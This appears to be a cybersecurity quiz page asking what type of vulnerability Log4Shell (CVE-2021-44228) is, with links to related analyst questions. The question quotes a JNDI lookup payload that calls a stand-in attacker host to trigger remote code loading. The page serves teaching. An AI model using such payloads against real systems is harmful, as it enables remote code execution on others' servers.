medium10 pts · first answer countssecurity-fundamentalsvulnerability-management
What made Log4Shell so serious
Log4Shell (CVE-2021-44228) let attackers run code by getting an app to log a string like ${jndi:ldap://evil.example/a}. What type of vulnerability is this?
Discussion 0
Join free to post in the discussion.
Related questions
- Which part of the CIA triad does a DDoS hit?Cybersecurity Analyst
- Threat, vulnerability or risk?Cybersecurity Analyst
- Applying least privilegeCybersecurity Analyst
- Spot the defence in depthCybersecurity Analyst
- What is a zero-day?Cybersecurity Analyst
- CVE, CVSS and CWECybersecurity Analyst
- A hash that no longer matchesCybersecurity Analyst
- Invoice amount changed in transitCybersecurity Analyst